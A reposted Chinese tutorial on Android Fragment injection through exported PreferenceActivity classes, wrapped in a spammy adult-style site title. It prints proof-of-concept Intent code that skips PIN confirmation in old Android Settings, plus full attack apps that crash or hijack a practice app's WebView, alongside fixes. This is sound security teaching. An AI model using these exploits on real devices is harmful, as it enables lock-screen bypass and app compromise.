在线不卡日本ⅴ一区v二区_精品一区二区中文字幕_天堂v在线视频_亚洲五月天婷婷中文网站

  • <menu id="lky3g"></menu>
  • <style id="lky3g"></style>
    <pre id="lky3g"><tt id="lky3g"></tt></pre>

    關于Android Fragment 漏洞,你了解多少?


    也許每個人出生的時候都以為這世界都是為他一個人而存在的,當他發(fā)現(xiàn)自己錯的時候,他便開始長大

    少走了彎路,也就錯過了風景,無論如何,感謝經(jīng)歷


    更多關于Android安全的知識,可前往:https://blog.csdn.net/ananasorangey/category11955914.html

    0x01 前言

    為了適應越來越大的設備屏幕,Android 3.X后引入了Fragment概念,作用是可以在一個屏幕上同時顯示多個Activity,以達到充分利用屏幕的目的。其中,F(xiàn)ragment有一個很強大的功能,就是可以動態(tài)加載。這樣可以讓整個界面的開發(fā)更加靈活,可以根據(jù)不同的場景動態(tài)加加載不同的Activity

    Fragment:

    • 是Android 3.0(API 11)提出的,為了兼容低版本,support-v4庫中也開發(fā)了一套Fragment API,最低兼容Android 1.6,如果要在最新的版本中使用Fragment,需要引入AndroidX的包
    • 是Activity中用戶界面的一個行為或者是一部分。主要是支持在大屏幕上動態(tài)和更為靈活的去組合或是交換UI組件,通過將Activity的布局分割成若干個Fragment,可以在運行時編輯Activity的呈現(xiàn),并且那些變化會被保存在由Activity管理的后臺棧里面
    • 必須總是被嵌入到一個Activity之中,并且Fragment的生命周期直接受其宿主Activity的生命周期的影響??梢哉J為Fragment是Activity的一個模塊零件,它有自己的生命周期,接收它自己的輸入事件,并且可以在Activity運行時添加或者刪除

    簡單的來說,應該將每一個Fragment設計為模塊化的和可復用化的Activity組件。也就是說,你可以在多個Activity中引用同一個Fragment,因為Fragment定義了它自己的布局,并且使用它本身生命周期回調(diào)的行為

    相比Activity,F(xiàn)ragment具有如下一些特點:

    • 模塊化(Modularity):我們不必把所有代碼全部寫在Activity中,而是把代碼寫在各自的Fragment中
    • 可重用(Reusability):多個Activity可以重用一個Fragment
    • 可適配(Adaptability):根據(jù)硬件的屏幕尺寸、屏幕方向,能夠方便地實現(xiàn)不同的布局,這樣用戶體驗更好

    Fragment 幾個核心的類:

    • Fragment:Fragment的基類,任何創(chuàng)建的Fragment都需要繼承該類
    • FragmentManager:管理和維護Fragment。它是抽象類,具體的實現(xiàn)類是FragmentManagerImpl
    • FragmentTransaction:對Fragment的添加、刪除等操作都需要通過事務方式進行。它是抽象類,具體的實現(xiàn)類是BackStackRecord

    1.1 生命周期

    Fragment必須是依存于Activity而存在的,因此Activity的生命周期會直接影響到Fragment的生命周期。正常情況下,Activity會經(jīng)歷如下幾個階段:

    生命周期函數(shù)

    相關解釋

    onAttach()

    關聯(lián)到Activity的時候調(diào)用。如果,需要使用Activity的引用或者使用Activity作為其他操作的上下文,將在此回調(diào)方法中實現(xiàn)

    onCreate()

    系統(tǒng)創(chuàng)建Fragment的時候回調(diào)

    onCreateView()

    當?shù)谝淮卫L制Fragment的UI時系統(tǒng)調(diào)用這個方法,該方法將返回一個View,如果Fragment不提供UI也可以返回null。注意,如果繼承自ListFragment,onCreateView()默認的實現(xiàn)會返回一個ListView,所以不用自己實現(xiàn)。這個函數(shù)的Bundle參數(shù)和onCretate()函數(shù)的Bundle蠶食是同一個

    onActivityCreated()

    當Activity中的onCreate方法執(zhí)行完后調(diào)用??梢栽谶@個函數(shù)里面做和Activity UI交互的操作(因為Activity的onCreate()函數(shù)之后Activity的UI已經(jīng)準備好了,可以UI交互)。這個函數(shù)的Bundle參數(shù)和onCretate()函數(shù)的Bundle蠶食是同一個

    onStart()

    啟動Fragment的時候回調(diào),這個時候Fragment可見

    onResume()

    Fragment變?yōu)榛顒訝顟B(tài)獲取焦點的時候是回調(diào),這個時候Fragment已經(jīng)完全展示在前臺,并且可以和用戶交互

    onPause()

    Fragemnt變成非活動狀態(tài)失去焦點的時候調(diào)用,注意這個時候Fragment還是可見的,只是不能和用戶交互了而已

    onStop()

    Fragment變成不可見的時候調(diào)用。這個時候Fragment還是活著的,只是可能別加入到了Fragment的回退棧中

    onDestroyView()

    Fragment中的布局被移除的時候調(diào)用

    onDestroy()

    Fragment被銷毀的時候調(diào)用

    onDetach()

    Fragment和Activity解除關聯(lián)的時候調(diào)用個

    如下圖所示:

    如下圖是Activity的生命周期和Fragment的各個生命周期方法的對應關系:

    1.2 與Activity傳遞數(shù)據(jù)

    1)將Fragment添加到Activity之中

    可以通過在Activity布局文件中聲明Fragment,用Fragment標簽把Fragment插入到Activity的布局中,或者是用應用程序源碼將它添加到一個存在的ViewGroup中。  但Fragment并不是一個定要作為Activity布局的一部分,F(xiàn)ragment也可以為Activity隱身工作

    2)在Activity的布局文件里聲明Fragment

    可以像為view一樣為Fragment指定布局屬性。例如:

     

    Fragment標簽中的android:name 屬性指定了布局中實例化的Fragment類。

    當系統(tǒng)創(chuàng)建Activity布局時,它實例化了布局文件中指定的每一個Fragment,并為它們調(diào)用onCreateView()函數(shù),以獲取每一個Fragment的布局。系統(tǒng)直接在元素的位置插入Fragment返回的View

    注:每個Fragment都需要一個唯一的標識,如果重啟Activity,系統(tǒng)可用來恢復Fragment(并且可用來捕捉Fragment的事務處理,例如移除)。為Fragment提供ID有三種方法:

    1)用android:id屬性提供一個唯一的標識2)用android:tag屬性提供一個唯一的字符串3)如果上述兩個屬性都沒有,系統(tǒng)會使用其容器視圖(view)的ID

    3)通過編碼將Fragment添加到已存在的ViewGroup中

    在Activity運行的任何時候,你都可以將Fragment添加到Activity布局中。要管理Activity中的Fragment,可以使用FragmentManager??梢酝ㄟ^在Activity中調(diào)用getFragmentManager()獲得。使用FragmentManager 可以做如下事情,包括:

    • 使用findFragmentById()(用于在Activity布局中提供有界面的Fragment)或者findFragmentByTag()獲取Activity中存在的Fragment(用于有界面或者沒有界面的Fragment)
    • 使用popBackStack()(模仿用戶的BACK命令)從后臺棧彈出Fragment
    • 使用addOnBackStackChangedListener()注冊一個監(jiān)聽后臺棧變化的監(jiān)聽器

    在Android中,對Fragment的事務操作都是通過FragmentTransaction來執(zhí)行。操作大致可以分為兩類:

    • 顯示:add() replace() show() attach()
    • 隱藏:remove() hide() detach()

    注:調(diào)用show() & hide()方法時,F(xiàn)ragment的生命周期方法并不會被執(zhí)行,僅僅是Fragment的View被顯示或者隱藏

    • 執(zhí)行replace()時(至少兩個Fragment),會執(zhí)行第二個Fragment的onAttach()方法、執(zhí)行第一個Fragment的onPause()-onDetach()方法,同時containerView會detach第一個Fragment的View
    • add()方法執(zhí)行onAttach()-onResume()的生命周期,相對的remove()就是執(zhí)行完成剩下的onPause()-onDetach()周期

    可以像下面這樣從Activity中取得FragmentTransaction的實例:

    FragmentManager FragmentManager = getFragmentManager() FragmentTransaction FragmentTransaction = FragmentManager.beginTransaction();

    可以用add()函數(shù)添加Fragment,并指定要添加的Fragment以及要將其插入到哪個視圖(view)之中(注意commit事務):

    ExampleFragment Fragment = new ExampleFragment();FragmentTransaction.add(R.id.Fragment_container, Fragment);FragmentTransaction.commit();

    4)Fragment事務后臺棧

    在調(diào)用commit()之前,可以將事務添加到Fragment事務后臺棧中(通過調(diào)用addToBackStatck())。這個后臺棧由Activity管理,并且允許用戶通過按BACK鍵回退到前一個Fragment狀態(tài)。

    下面的代碼中一個Fragment代替另一個Fragment,并且將之前的Fragment狀態(tài)保留在后臺棧中:

    Fragment newFragment = new ExampleFragment();FragmentTransaction transaction = getFragmentManager().beginTransaction();transaction.replace(R.id.Fragment_container, newFragment);transaction.addToBackStack(null);transaction.commit();

    注:

    • 如果添加多個變更事務(例如另一個add()或者remove())并調(diào)用addToBackStack(),那么在調(diào)用commit()之前的所有應用的變更被作為一個單獨的事務添加到后臺棧中,并且BACK鍵可以將它們一起回退
    • 當移除一個Fragment時,如果調(diào)用了addToBackStack(),那么之后Fragment會被停止,如果用戶回退,它將被恢復過來
    • 調(diào)用commit()并不立刻執(zhí)行事務,相反,而是采取預約方式,一旦Activity的界面線程(主線程)準備好便可運行起來。然而,如果有必要的話,你可以從界面線程調(diào)用executePendingTransations()立即執(zhí)行由commit()提交的事務
    • 只能在Activity保存狀態(tài)(當用戶離開Activity時)之前用commit()提交事務。如果你嘗試在那時之后提交,會拋出一個異常。這是因為如果Activity需要被恢復,提交后的狀態(tài)會被丟失。對于這類丟失提交的情況,可使用commitAllowingStateLoss()

    5)與Activity交互

    Activity中已經(jīng)有了該Fragment的引用,直接通過該引用進行交互。

    如果沒引用可以通過調(diào)用Fragment的函數(shù)findFragmentById()或者findFragmentByTag(),從FragmentManager中獲取Fragment的索引,例如:

    ExampleFragment Fragment = (ExampleFragment) getFragmentManager().findFragmentById(R.id.example_Fragment);

    在Fragment中可以通過getActivity得到當前綁定的Activity的實例,創(chuàng)建Activity事件回調(diào)函數(shù),在Fragment內(nèi)部定義一個回調(diào)接口,宿主Activity來實現(xiàn)它。Activity向Fragment傳參:

    很多人提到向Fragment傳遞參數(shù)會下意識想到重寫Fragment的構造方法并傳入自己的參數(shù)。事實上,這種方式時極不科學和極不安全的,因為Android在很多場景下都會出現(xiàn)Fragment的重建情況(比如橫豎屏的切換),但是重建的時候系統(tǒng)并不會使用你編寫的Fragment的構造方法而是調(diào)用Fragment默認的構造方法,這個時候你傳的參數(shù)將會消失導致各種異常。那么如何更安全地向Fragment傳遞參數(shù)呢,Google官方推薦的setArguments方法:

    • 初始化Fragment實例并setArguments

    DiscoverFragment discoverFragment = new DiscoverFragment();Bundle bundle = new Bundle();bundle.putString(“email”, email);discoverFragment.setArguments(bundle);

    • 在Fragment中拿到Arguments:

    @Nullable@Overridepublic View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {View view = inflater.inflate(R.layout.Fragment_discover, null);Bundle bundle = getArguments();//這里就拿到了之前傳遞的參數(shù)email = bundle.getString(“email”);return view;}

    • Fragment向Activity傳遞數(shù)據(jù)

    首先,在Fragment中定義接口,并讓Activity實現(xiàn)該接口,如下:

    public interface OnFragmentInteractionListener {void onItemClick(String str);}

    接下來,在Fragment的onAttach()中,將參數(shù)Context強轉(zhuǎn)為OnFragmentInteractionListener對象傳遞過去

    public void onAttach(Context context) {super.onAttach(context);if (context instanceof OnFragmentInteractionListener) {mListener = (OnFragmentInteractionListener) context;} else {throw new RuntimeException(context.toString()+ ” must implement OnFragmentInteractionListener”);}}

    • Activity向Fragment傳遞數(shù)據(jù)

    在創(chuàng)建Fragment的時候,可以通過setArguments(Bundle bundle)方式將值傳遞給Activity,如下:

    public static Fragment newInstance(String str) {FragmentTest fragment = new FragmentTest();Bundle bundle = new Bundle();bundle.putString(ARG_PARAM, str);fragment.setArguments(bundle);//設置參數(shù)return fragment;}

    6)Fragment && Fragment數(shù)據(jù)交互

    Fragment和Fragment間數(shù)據(jù)交互,應該也是會經(jīng)常用到的??墒褂盟拗鰽ctivity做傳遞媒介,原理其實也是通過使用onActivityResult回調(diào),完成Fragment && Fragment的數(shù)據(jù)交互,這其中有兩個比較重要的方法:Fragment.setTargetFragment、getTargetFragment()

    在 FirstFragment 中,通過setTargetFragment來連接需要交互的Fragment:

    secondFragment.setTargetFragment(FirstFragment.this, REQUEST_CODE);

    接著實現(xiàn)onActivityResult,處理傳遞過來的數(shù)據(jù):

    @Override public void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); if(resultCode != Activity.RESULT_OK){ return; }else{ Integer str = data.getIntExtra(“key”,-1); //處理數(shù)據(jù)… } }

    在 SecondFragment 中調(diào)用sendResult()方法,回傳數(shù)據(jù)給 FirstFragment:

    private void sendResult(int resultOk) {if (getTargetFragment() == null) {return} else {Intent intent = new Intent();intent.putExtra(“key”, 520);getTargetFragment().onActivityResult(FirstFragment.REQUEST_CODE, resultOk, intent)}}

    1.3 Android Fragment 漏洞產(chǎn)生的原因

    Android是基于Linux開放性內(nèi)核的操作系統(tǒng),是Google公司在2007年發(fā)布的手機操作系統(tǒng)

    Google Android 4.3及之前版本的沙盒環(huán)境存在安全漏洞,該漏洞影響任何使用PreferenceActivity類的應用,包括Settings, Gmail, Google Now, Dropbox, Evernote。攻擊者可利用此漏洞執(zhí)行任意代碼,從而繞過Android沙盒,執(zhí)行未授權操作

    Android 4.3及之前版本在應用中采用不安全的 PreferenceActivity 類實施方式的開發(fā)者。在這種情況下,這些類會讓人利用 Fragment 實現(xiàn)注入攻擊,這種實現(xiàn)方式讓惡意的外部應用可以加載原本不公開的 Fragment。例如,通過導出的PreferenceActivity的子類,沒有正確處理Intent的extra值。攻擊者可繞過限制訪問未授權的界面

    從 2017 年 3 月 1 日起,Google Play 開始禁止發(fā)布存在以下情況的新應用或應用更新:其 PreferenceActivity 類可能有安全漏洞,讓攻擊者可以利用 Fragment 實現(xiàn)注入攻擊。請參閱 Play 管理中心內(nèi)的通知。在 Play 管理中心顯示的截止日期過后,系統(tǒng)可能會將所有包含未修復安全漏洞的應用從 Google Play 中移除

    產(chǎn)生的原因:

    • 錯誤地實施 isValidFragment:

    檢查存在漏洞的類是否包含或沿用了實施 isValidFragment 的方式(即在所有代碼路徑中返回 True)。如果確實是這樣,請更新該類,以檢查是否存在允許的 Fragment 類列表。例如:如果 PreferenceActivity 應該允許使用 MyFragment 類而不得使用其他 Fragment,請按照如下方式實施檢查:

    public boolean isValidFragment(String fragmentName) {return MyFragment.class.getName().equals(fragmentName);}

    • targetSdkVersion 小于 19 并且未實施 isValidFragment:

    如果應用目前在清單中將其 targetSdkVersion 設為小于 19 的值,并且存在漏洞的類不包含 isValidFragment 的任何實施方式,那么漏洞便來自于 PreferenceActivity。

    注:由于Fragment可以加載APP內(nèi)的任意未導出組件,因此Fragment注入漏洞可攻擊面比較廣

    0x02 經(jīng)典Setting Fragment Inject漏洞之繞過舊密碼驗證修改密碼

    首先我們來看一個經(jīng)典的老洞,雖然現(xiàn)在沒有了,但漏洞產(chǎn)生的原理,還是值得思考,而且修復的方式并不一定代表再新的版本中就不存在,這取決于開發(fā)人員的安全能力

    Android 4.4之前版本的Fragment繞過PIN碼攻擊原理:

    • 導出的PreferenceActivity的子類中,沒有加入isValidFragment方法,進行fragment名的合法性校驗,攻擊者可能會通過設置Intent的extra,實現(xiàn)動態(tài)修改PreferenceActivity的初次顯示的Fragment,來繞過限制,訪問未授權的界面

    攻擊條件:

    • Android 4.3及之前版本
    • 有Activity繼承PreferenceActivity類并且被聲明成export=true

    攻擊面:

    • 在Java中,當一個對象被構建的時候,這個類的靜態(tài)構建函數(shù)和對象的構建函數(shù)都被執(zhí)行,如果這兩個函數(shù)包含特定的代碼, 則可以觸發(fā)攻擊,由于構建出來的對象需要轉(zhuǎn)換成Fragment對象,所以當產(chǎn)生的對象不是Fragment類型則會出異常
    • 但是,如果這個對象剛好是一個Fragment類型時,PreferenceActivity能展現(xiàn)對應的界面,可以繞過某些驗證而直接呼出對應的界面

    手工檢測:

    • 反編譯APK,檢索到繼承PreferenceActivity的子類,查看子類是否重寫了isValidFragment方法,Activity是否對外暴露(exported)

    相關知識:

    • PreferenceActivity兩個重要的Intent Extra

    這兩個參數(shù)可以決定當前的PreferenceActivity首次顯示的Fragment

    // extra域包含PreferenceActivity要動態(tài)加載的FragmentPreferenceActivity.EXTRA_SHOW_FRAGMENT (‘:android:show_fragment’) // extra域包含傳給該Fragment的參數(shù)PreferenceActivity.EXTRA_SHOW_FRAGMENT_ARGUMENTS (‘:android:show_fragment_arguments’)

    注:Android Framework提供了android.preference.PreferenceActivity這個類來對preference進行展示,我們可以繼承這個類來展示preference并進行擴展?;愔袝邮誌ntent數(shù)據(jù),并進行一定檢查,如上兩個類就是

    Fragment與Activity的關系:

    • 一個activity提供一個單一的屏幕和一些功能,一個activity可以包含多個Fragment
    • Fragment可以在不同的activities中重用

    Android框架支持在Activity中以Fragment的形式展示界面,而PreferenceActivity是一個支持Fragment的基類activity,它會根據(jù)傳人的參數(shù)EXTRA_SHOW_FRAGMENT, (‘:android:show_fragment’)動態(tài)創(chuàng)建fragment而現(xiàn)實相應的界面, 問題就出在PreferenceActivity沒有檢查傳入的參數(shù), 盲目的根據(jù)傳入的參數(shù)構建對象

    利用Fragment實現(xiàn)注入攻擊。從3.X后,Android工程師重構PreferenceActivity的實現(xiàn),采用Fragment實現(xiàn)界面的加載。通過閱讀源碼可以發(fā)現(xiàn),PreferenceActivity的onCreate里,需要讀取Intent的多個extra內(nèi)容,常量都定義在PreferenceActivity里(那堆EXTRA_XXXX就是了),其中有兩個常量分別是EXTRA_SHOW_FRAGMENT=”:android:show_fragment”和EXTRA_SHOW_FRAGMENT_ARGUMENTS=”:android:show_fragment_args”,這兩個參數(shù)可以決定當前的PreferenceActivity首次顯示的Fragment。過程比較簡單,就是先拿到fragment_class和fragment_args,然后通過反射生成一個Fragment實例,并動態(tài)加載。參數(shù)傳遞關鍵點:參數(shù)傳遞

    • 第一個extra域包含PreferenceActivity要動態(tài)加載的Fragment,F(xiàn)ragment也可以通過Fragment.getActivity這個函數(shù)來獲取傳進來的參數(shù)。PreferenceActivity會調(diào)用Fragment.instantiate來動態(tài)加載Fragment.這個函數(shù)通過反射來加載Fragment,并把它變成Fragment對象
    • 第二個extra域包含傳給該Fragment的參數(shù),其中最關鍵的邏輯代碼如下:

    mSinglePane = hidingHeaders || !onIsMultiPane();String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);int initialTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_TITLE, 0);int initialShortTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_SHORT_TITLE, 0);

    先獲取initalFragment和initialArguments兩個參數(shù),之后在switchToHeaderInner里完成實例化:

    private void switchToHeaderInner(String fragmentName, Bundle args, int direction) {getFragmentManager().popBackStack(BACK_STACK_PREFS, FragmentManager.POP_BACK_STACK_INCLUSIVE);Fragment f = Fragment.instantiate(this, fragmentName, args);FragmentTransaction transaction = getFragmentManager().beginTransaction();transaction.setTransition(FragmentTransaction.TRANSIT_FRAGMENT_FADE);transaction.replace(com.android.internal.R.id.prefs, f);transaction.commitAllowingStateLoss();}

    到此為止,我們可以通過設置Intent的extral,實現(xiàn)動態(tài)修改PreferenceActivity的初次顯示的Fragment

    多啰嗦一下,其實Fragment也可以通過Fragment.getActivity這個函數(shù)來獲取傳進來的參數(shù)。PreferenceActivity會調(diào)用Fragment.instantiate來動態(tài)加載Fragment.這個函數(shù)通過反射來加載Fragment,并把它變成Fragment對象,如下圖:

    https://www.androidos.net.cn/android/4.3_r1/xref/frameworks/base/core/java/android/app/Fragment.java

    任何繼承自PreferenceActivity并對外導出的組件,都會受到攻擊。惡意APP可以傳android:show_fragment這個extra值來指定要動態(tài)加載的類。在PreferenceActivity的context里,通過dalvik.system.PathClassLoader函數(shù)來動態(tài)加載類,由于沒有對請求的APP進行校驗,惡意APP可以動態(tài)加載有漏洞APP里面的任何類(包括未導出類),使得惡意APP可以訪問有漏洞APP的隱私信息

    對比4.4和4.2之間的區(qū)別代碼,如下:

    https://www.androidos.net.cn/android/4.4.4_r1/xref/frameworks/base/core/java/android/app/Fragment.java

    https://www.androidos.net.cn/android/4.2.2_r1/xref/frameworks/base/core/java/android/app/Fragment.java

    在Android系統(tǒng)里,APP與APP是互相隔離的,互相之間不能訪問對方的私有數(shù)據(jù)。APP與APP之間(更準確地說應該是組件與組件之間)的通訊,統(tǒng)一使用Intent。通過Intent可以很方便的喚起其他APP的Activity,達到功能重用的目的。比如平時使用ZAKER,你需要在微信圈里分享,通過這種方式就可以直接跳到微信的分享界面了。但使用這種方式的前提是目標Activity是exported的

    結合上面的兩個關鍵點,我們是否可以尋找一個exported的PreferenceActivity的子類,并通過精心設置Intent的extral的值,以實現(xiàn)打開那些沒有exported的界面呢?如果這些界面涉及安全方面信息的話,又會怎樣呢?

    Android 3.X到4.3中的所有版本的一個漏洞,太老了沒啥用(但攻擊的思路以及概念值得參考),Setting幾乎每個Android設備都有的。Setting是以system_uid方式簽名,所以具備行使system的權力。它的主界面com.android.settings.Settings就是繼承自PreferenceActivity,而且肯定是exported。我們以此作為入口,嘗試尋找Setting里有哪些重要的Fragment,并嘗試把它加載進來,主要目的是希望可以跳過某些需要用戶交互的限制。比如說ChooseLockPassword$ChooseLockPasswordFragment這個Fragment,這個類主要是負責鎖屏界面的密碼設定和修改。同時,這個類會根據(jù)之前傳入的initialArguments做不同的邏輯,關鍵代碼如下所示:

    Intent intent = getActivity().getIntent();final boolean confirmCredentials = intent.getBooleanExtra(“confirm_credentials”, true);if (savedInstanceState == null) {updateStage(Stage.Introduction);if (confirmCredentials) {mChooseLockSettingsHelper.launchConfirmationActivity(CONFIRM_EXISTING_REQUEST, null, null);}} else {mFirstPin = savedInstanceState.getString(KEY_FIRST_PIN);final String state = savedInstanceState.getString(KEY_UI_STAGE);if (state != null) {mUiStage = Stage.valueOf(state);updateStage(mUiStage);}}

    如果傳入的參數(shù)當中,key為”confirm_credentials”為true,就會調(diào)起舊密碼驗證的流程。如果為false,就可以跳過舊密碼驗證而直接進入密碼修改的流程。測試代碼如下所示:

    Intent intent = new Intent();intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);intent.setClassName(“com.android.settings”, “com.android.settings.Settings”);intent.putExtra(“: android: show_fragment”, “com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment”);intent.putExtra(“confirm_credentials”, false);startActivity(intent);

    繞過密碼PIN BUG存在于3.X到4.3中的所有版本,4.4已經(jīng)修復了,在Android 4.4中強制所有PreferenceActivity必須要實現(xiàn)isValidFragment方法,如下:

    https://developer.android.com/reference/android/preference/PreferenceActivity.html#isValidFragment(java.lang.String)

    正常的密碼修改流程是”設置”->“安全”->“屏幕鎖定”->“確認你的PIN”,如下:

    如果利用攻擊代碼,即可跳過“確認你的PIN”直接進入“選擇你的PIN”頁面,如下:

    注:漏洞雖然修復了,但是修復能力主要依賴于開發(fā)人員的安全能力問題,這類問題在新版本上,依然存在

    2.1 修復建議

    • 如果應用的Activity組件不必要導出,或者組件配置了intent filter標簽,建議顯示設置組件的“android:exported”屬性為false
    • 重寫繼承子類的isValidFragment方法,驗證Fragment來源的正確性
    • 當targetSdk大于等于19時,強制實現(xiàn)了isValidFragment方法;小于19時,在PreferenceActivity的子類中都要加入isValidFragment ,兩種情況下在isValidFragment方法中進行fragment名的合法性校驗。
    • isValidFragment(String fragmentName) 返回Boolean(子類應當重寫這個方法,并對fragment進行校驗判斷)

    public final class MyPreferenceActivity extends PreferenceActivity {private boolean doValidcheck(String fragmentName) throws IllegalArgumentException {// TODO 做合法性檢查return true;// 注意check,千萬要注意}// 添加上這個方法,以使2.x~4.3的代碼在4.4上可以正常運行protected boolean isValidFragment(String fragmentName) {return doValidcheck(fragmentName);}@Overrideprotected void onCreate(Bundle savedInstanceState) {// 在onCreate前就做合法性判斷Stringfragmentname = getIntent().getStringExtra(“:android:show_fragment”);doValidcheck(fragmentname);super.onCreate(savedInstanceState);}}

    0x03 Android Fragment之拒絕服務

    樣本APK下載地址:https://github.com/AndroidAppSec/vuls/releases/tag/v4.2

    由于通過該漏洞可以加載APP里面的任何類,包括未導出類,如果未導出類對畸形消息處理不當,將會導致本地拒絕服務漏洞。下面以vuls.apk為例

    ddns.android.vuls.activities.Activity.FragmentActivity組件對外導出:

    ddns.android.vuls.activities.Activity.FragmentActivity組件繼承自PreferenceActivity:

    public class FragmentActivity extends PreferenceActivity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);}@Overrideprotected boolean isValidFragment(String fragmentName) {Log.e(“FragmentVuls”, “fragmentName: ” + fragmentName);return true;}}

    由于沒有對Fragment注入漏洞進行防御,可通過該漏洞加載app內(nèi)任意不導出的組件。選擇com.irccloud.android.fragment.ServerReorderFragment作為攻擊目標:

    public class TargetFragment extends Fragment {public TargetFragment() {Log.e(“DDNS: “, “TargetFragment’s constructor”);}@Overridepublic void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);}@Overridepublic View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {View view = inflater.inflate(R.layout.fragment_target,null);WebView webview = (WebView) view.findViewById(R.id.webview_fragment);webview.getSettings().setJavaScriptEnabled(true);webview.loadUrl(getActivity().getIntent().getDataString());return view;}}

    ServerReorderFragment沒有對畸形消息進行處理,導致拒絕服務,攻擊EXP,如下:

    • MainActivity.java 代碼:

    package com.example.testpoc4;import androidx.appcompat.app.AppCompatActivity;import android.content.Intent;import android.os.Bundle;import android.util.Log;import android.view.View;import android.widget.Button;import android.widget.Toast;public class MainActivity extends AppCompatActivity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);// 獲取控件idButton button1 = findViewById(R.id.button);// 監(jiān)聽點擊事件button1.setOnClickListener(new View.OnClickListener() {@Overridepublic void onClick(View v) {// 要執(zhí)行的操作Intent intent=new Intent();intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);//包名 包名+類名(全路徑)intent.setClassName(“ddns.android.vuls”, “ddns.android.vuls.activities.Activity.FragmentActivity”);intent.putExtra(“:android:show_fragment”,”BaoBaoBaoBaoBaoBao”);startActivity(intent);//成功Dos后的提示Toast.makeText(MainActivity.this,”Dos攻擊ddns.android.vuls應用”, Toast.LENGTH_SHORT).show();Log.d(“拒絕服務攻擊:”,”ddns.android.vuls 應用被Dos攻擊”);}});}}

    • activity_main.xml 代碼:

    效果如下:

    0x04 Android Fragment之遠程命令執(zhí)行

    由于現(xiàn)在很多組件都是基于Webview來展示頁面,并且Fragment組件應用越來越廣,以后將會有越來越多的Webview組件是基于Fragment來展示。由于Fragment注入漏洞可以加載app內(nèi)任意未導出組件,如果基于Fragment的Webview組件存在addJavascriptInterface漏洞,將會導致遠程命令執(zhí)行漏洞。大家可以在市面上老的APP里找下,發(fā)現(xiàn)很多Webview組件基于Fragment,但是繼承自PreferenceActivity的組件是不導出的。因此,下面將利用vuls.apk來做驗證可行性,當然同學你可以自己寫個demo來做嘗試,下面測試的環(huán)境是在Android 4.4中進行的

    ddns.android.vuls.activities.Activity.FragmentActivity組件對外導出,并繼承自PreferenceActivity:

    WebviewFragment導出JavaScript接口,并加載URL(在 vuls 中有以下的 Fragment)。如下攻擊場景中可讓Fragment加載指定的網(wǎng)頁:

    public class TargetFragment extends Fragment {public TargetFragment() {Log.e(“DDNS: “, “TargetFragment’s constructor”);}@Overridepublic void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);}@Overridepublic View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {View view = inflater.inflate(R.layout.fragment_target,null);WebView webview = (WebView) view.findViewById(R.id.webview_fragment);webview.getSettings().setJavaScriptEnabled(true);webview.loadUrl(getActivity().getIntent().getDataString());return view;}}

    利用Fragment Injection漏洞對TargetFragment攻擊,加載任意 Fragment 攻擊的EXP,如下:

    • MainActivity.java 代碼:

    package com.example.testpoc4;import androidx.appcompat.app.AppCompatActivity;import android.content.Intent;import android.net.Uri;import android.os.Bundle;import android.util.Log;import android.view.View;import android.widget.Button;import android.widget.Toast;public class MainActivity extends AppCompatActivity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);// 獲取控件idButton button1 = findViewById(R.id.button);// 監(jiān)聽點擊事件button1.setOnClickListener(new View.OnClickListener() {@Overridepublic void onClick(View v) {// 要執(zhí)行的操作Intent intent=new Intent();intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);//包名 包名+類名(全路徑)intent.setClassName(“ddns.android.vuls”, “ddns.android.vuls.activities.Activity.FragmentActivity”);intent.putExtra(“:android:show_fragment”,”ddns.android.vuls.activities.Activity.TargetFragment”);intent.setData(Uri.parse(“https://orangey.blog.csdn.net”));startActivity(intent);//成功加載任意Fragment攻擊后的提示Toast.makeText(MainActivity.this,”加載任意Fragment攻擊:成功加載Orangey CSDN博客”, Toast.LENGTH_SHORT).show();Log.d(“加載任意Fragment攻擊:”,”成功加載Orangey CSDN博客”);}});}}

    • activity_main.xml 代碼:

    通過Fragment Injection漏洞,TargetFragment已加載惡意URL,如下:

    注:如果Fragment的Webview組件允許webView.addJavascriptInterface漏洞,即可惡意加載惡意JS代碼,代表存在遠程代碼執(zhí)行漏洞攻擊。這個此處就不再演示了,可以前往之前的WebView的文章查看,攻擊手法差不多,不再重復講解

    參考鏈接:

    https://segmentfault.com/a/1190000039960026

    https://blog.csdn.net/wuyuxing24/article/details/78698633

    https://blog.csdn.net/L173864930/article/details/17279165

    https://blog.csdn.net/syy0201/article/details/115057633

    https://mp.weixin.qq.com/s/BPYjCz2wlkGOijb-sUcrQg

    https://wooyun.js.org/drops/Fragment Injection漏洞雜談.html

    烏云知識庫文章-Fragment Injection漏洞雜談

    https://wooyun.js.org/drops/Fragment Injection漏洞雜談.html

    https://github.com/DmrfCoder/interview/blob/master/Android/Fragment全解析.md


    你以為你有很多路可以選擇,其實你只有一條路可以走


    鄭重聲明:本文內(nèi)容及圖片均整理自互聯(lián)網(wǎng),不代表本站立場,版權歸原作者所有,如有侵權請聯(lián)系管理員(admin#wlmqw.com)刪除。
    用戶投稿
    上一篇 2022年9月25日 12:14
    過去倒賣日賺好幾萬 這次都玩砸了要轉(zhuǎn)行 被iPhone14收割的“蘋果黃?!?/span>
    下一篇 2022年9月25日 12:14

    相關推薦

    聯(lián)系我們

    聯(lián)系郵箱:admin#wlmqw.com
    工作時間:周一至周五,10:30-18:30,節(jié)假日休息